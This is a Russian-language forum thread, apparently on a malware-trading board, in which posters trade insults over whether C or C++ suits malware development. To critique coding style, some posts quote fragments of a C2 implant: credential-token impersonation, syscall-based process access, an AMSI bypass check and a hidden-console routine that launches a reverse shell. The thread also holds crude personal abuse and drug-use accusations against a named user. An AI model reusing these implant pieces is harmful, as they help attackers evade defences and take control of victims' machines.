вангую там очередной гавнокод, как и всё сишное )) переполнения буферов и другая шляпа ))Софт написан на Си
учите норм языки
вангую там очередной гавнокод, как и всё сишное )) переполнения буферов и другая шляпа ))Софт написан на Си
по себе людей не судят)вангую там очередной гавнокод, как и всё сишное )) переполнения буферов и другая шляпа ))
учите норм языки
Понял, извини пожалуйста, сейчас на питон перепишу. Че то я реально говно сделал тут с утра пораньшевангую там очередной гавнокод, как и всё сишное )) переполнения буферов и другая шляпа ))
учите норм языки
Если под кумиром ты имеешь ввиду меня - то я не понял. Что просили и что я должен показать? Код исходный скинуть сюда? А потом мне клиентам что говорить? Добрый вечер? Пол шестого? Свободная касса?тебя и твоего кумира давно люди просили, вы как обиженки только морозитесь
Дурочка, иди на гитхаб, гугли проекты на Си, и смотри, там достаточно примеров хорошего опенсорс кода. Даже на гитхабе, прикинь, на такой помойке, где даже такие как ты спокойно могут свой код оставить. Даже среди всего этого говна можно найти нормальный код.ну покажи нормальный код! без багов и ошибок!! тебя и твоего кумира давно люди просили, вы как обиженки только морозитесь )))
Си устаревшее говно на нем нельзя писать нормально
Скорее всего, это - эффект Даннинга-Крюгера, никто из тех действительно опытных программистов на Цэ или Плюсах, которых я знаю, и в качестве кода которых я уверен, не станет утверждать, что его код полностью безопасен. Код в малварной сфере - вообще забавная вещь, с одной стороны действительно качественный код очень тяжело найти, все просто костылят и похер. С другой стороны, видимо, на практике и говнокода достаточно, чтобы зарабатывать деньги. К сожалению или к счастью, стабильность малварки особо никому не нужна. Отработала - ну и збс, не отработала - да хер знает, что там случилось, может авер покилял, может идска заблочила, может малварка просто засегфолтела, кого это волнует в современном мире?нормальные программисты и на Си пишут безопасный код
Вот для ознакомления достаточно годный код на Цэ, хоть и достаточно специфический код стайл.Скорее всего, это - эффект Даннинга-Крюгера, никто из тех действительно опытных программистов на Цэ или Плюсах, которых я знаю, и в качестве кода которых я уверен, не станет утверждать, что его код полностью безопасен. Код в малварной сфере - вообще забавная вещь, с одной стороны действительно качественный код очень тяжело найти, все просто костылят и похер. С другой стороны, видимо, на практике и говнокода достаточно, чтобы зарабатывать деньги. К сожалению или к счастью, стабильность малварки особо никому не нужна. Отработала - ну и збс, не отработала - да хер знает, что там случилось, может авер покилял, может идска заблочила, может малварка просто засегфолтела, кого это волнует в современном мире?
Но да, я бы с удовольствием ознакомился с исходниками действительно качественно написанной малварки на Цэ с действительно безопасным кодом. Именно большой проект и именно на Цэ.
Спасибо, я чуток попозже посмотрю, с телефона сложно код на гитхабе читать.Вот для ознакомления достаточно годный код на Цэ
А мы сейчас попросим Quake3 отделить флуд и срачи в отдельную тему)P.S автор, сори за флуд в теме, у дяди Дилдо личка закрыта
пример давай)) "я видел много проектов топ, ищи где-то в в гитхабе" - это не ответ! искал, веришь, не нахожу ) я раньше тоже писал на Си, на Асме, думал это вершина мастерства...но как открыл для себя ООП С++ , понял какой х#йней занимался.гугли проекты на Си, и смотри, там достаточно примеров хорошего опенсорс кода.
Да никто тебя не знает, ты пустослов новорег.кому надо знают, какой код я пишу и сколько он стоит.
++++++Но да, я бы с удовольствием ознакомился с исходниками действительно качественно написанной малварки на Цэ с действительно безопасным кодом
И тут свинка-капи про#балась, я пишу на ASM, Си и ой как неожиданно для тебя, на C++, C# и Python используя все прелести ООП, иди подмой жопу, ты снова обосралась, если думала, что я заядлый асмо-си программист, и топлю исключительно за функциональщину.я раньше тоже писал на Си, на Асме, думал это вершина мастерства...но как открыл для себя ООП С++ , понял какой х#йней занимался
Меня хорошо знает 0.0001% форума, но этих людей достаточно, большего и не надо. Ты еще не подмылась ? Так бегом беги, уже начинает заполонять весь топик твоим шлейфом.Да никто тебя не знает
Полностью не станет, и это верно, даже на плюсах с ООП можно написать кривой небезопасный код, я лишь говорю о том, что хороший программист МОЖЕТ написать безопасный код на любом языке, даже на опасном, с точки зрения безопасности кода, но человеческий фактор никто не отменял. А вот плохой кодер НЕ МОЖЕТ написать нормальный безопасный код ни на каком языке, согласись, что дело тут не в инструменте, а в том, кто им пользуется. Думаю ты человек понимающий ситуацию, и тебе не нужно приводить аналогии с ножами и скальпами как пустоголовой капибаре.Скорее всего, это - эффект Даннинга-Крюгера, никто из тех действительно опытных программистов на Цэ или Плюсах, которых я знаю, и в качестве кода которых я уверен, не станет утверждать, что его код полностью безопасен.
Я посмотрел, не знаю насчет годности, но этот код прекрасно иллюстрирует мой тезис о том, зачем так страдать, когда можно было не страдать, используя язык с наличием нормальных абстракций. Возьмем, например, Command.c - файл в 2843 строчки с функциями по добрые 300 строк, с большой вложенностью блоков, да еще и с goto в случае каких-то ошибок. Мне в принципе на это больно смотреть, не говоря уже о том, что тут сложно гарантировать, что какая-то память или хендлы не текут.Вот для ознакомления достаточно годный код на Цэ
if ( hToken != NULL )
{
UserDomain = Instance.Win32.LocalAlloc( LPTR, UserDomainSize );
MemSet( UserDomain, 0, UserDomainSize );
StringConcatA( UserDomain, lpDomain );
StringConcatA( UserDomain, Deli );
StringConcatA( UserDomain, lpUser );
BufferUser = Instance.Win32.LocalAlloc( LPTR, dwUserSize );
BufferPassword = Instance.Win32.LocalAlloc( LPTR, dwPasswordSize );
BufferDomain = Instance.Win32.LocalAlloc( LPTR, dwDomainSize );
MemCopy( BufferUser, lpUser, dwUserSize );
MemCopy( BufferPassword, lpPassword, dwPasswordSize );
MemCopy( BufferDomain, lpDomain, dwDomainSize );
TokenAdd(
hToken,
UserDomain,
TOKEN_TYPE_MAKE_NETWORK,
NtCurrentTeb()->ClientId.UniqueProcess,
BufferUser,
BufferDomain,
BufferPassword
);
PRINTF( "UserDomain => %s\n", UserDomain )
PackageAddBytes( Package, UserDomain, UserDomainSize );
}
INT StringCompareA( LPCSTR String1, LPCSTR String2 )
{
for (; *String1 == *String2; String1++, String2++)
{
if (*String1 == '\0')
return 0;
}
return ((*(LPCSTR)String1 < *(LPCSTR)String2) ? -1 : +1);
}
hProcess = ProcessOpen( ProcessID, PROCESS_ALL_ACCESS );
Instance.Syscall.NtOpenProcessToken( hProcess, TOKEN_QUERY, &hToken );
NtStatus = Instance.Syscall.NtQueryInformationProcess( hProcess, ProcessBasicInformation, &ProcessBasicInfo, sizeof( PROCESS_BASIC_INFORMATION ), 0 );
hFile = Instance.Win32.FindFirstFileW( Path, &FindData );
if ( hFile == INVALID_HANDLE_VALUE )
{
PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );
Instance.Win32.FindClose( hFile ); // << ТУТ
PUTS( "LEAVE" )
goto LEAVE;
}
if ( NT_SUCCESS( Instance.Syscall.NtOpenFile( &hFile, FILE_READ_DATA, &ObjectAttributes, &IoStatusBlock, FILE_SHARE_READ, 0 ) ) )
{
if ( NT_SUCCESS( Instance.Syscall.NtCreateSection( &hSection, SECTION_ALL_ACCESS, NULL, NULL, PAGE_READONLY, SEC_COMMIT, hFile ) ) )
{
if ( NT_SUCCESS( Instance.Syscall.NtMapViewOfSection( hSection, NtCurrentProcess(), &pSection, NULL, NULL, NULL, &ViewSize, 1, 0, PAGE_READONLY ) ) )
{
PRINTF( "pSection => %p\n", pSection );
return pSection;
}
}
}
if ( hSection )
Instance.Win32.NtClose( hSection );
if ( hFile )
Instance.Win32.NtClose( hFile );
return ( ULONG_PTR ) NULL;
PCHAR ParserGetBytes( PPARSER parser, PINT size )
{
UINT32 Length = 0;
PCHAR outdata = NULL;
if ( ! parser )
return NULL;
if ( parser->Length < 4 )
return NULL;
MemCopy( &Length, parser->Buffer, 4 );
parser->Buffer += 4;
if ( parser->Endian )
Length = __builtin_bswap32( Length );
outdata = parser->Buffer;
if ( outdata == NULL )
return NULL;
parser->Length -= 4;
parser->Length -= Length;
parser->Buffer += Length;
if ( size != NULL )
*size = Length;
return outdata;
}
/*
* TODO: Finish/Fix this.
* It seems like its way to unstable to use this
* assembly crashes the agent randomly and dont know why.
* Fix this once i get motivated enough or remove this entirely. */
/*
видимо у автора такой стиль кода. Мне позабавили вот эти моменты:да еще и с goto
if ( AmsiPatched == FALSE )
if ( BypassPatchAMSI( ) == TRUE)
size != NULL
2 часть
int main()
{
HWND stealth; //Declare a window handle
AllocConsole(); //Allocate a new console
stealth=FindWindowA("ConsoleWindowClass",NULL); //Find the previous Window handler and hide/show the window depending upon the next command
ShowWindow(stealth,SW_SHOWNORMAL); //SW_SHOWNORMAL = 1 = show, SW_HIDE = 0 = Hide the console
RevShell();
return 0;
}
Статья была вынесена как флуд из моей торговой темы. Если под автором - ты имеешь ввиду меня, то какая у меня аргументация? Не понял этот момент.Автор напомнил офисных Java программистов, с подобной же аргументацией.
Я так понимаю что капибара=indy с васма, у него есть код для ринг0 на васме и всякие статейки, но он плотно сидит на мефе и на кислоте, видимо под этим делом он открыл для себя ООП на плюсах и словил трип что преисполнился в своём превосходстве, холиварить с ним смысла нетАвтор напомнил офисных Java программистов, с подобной же аргументацией.
Хочу посмотреть на код автора работающий в ring0, я уверен не составит труда привести пример из своей коллекции шедевров.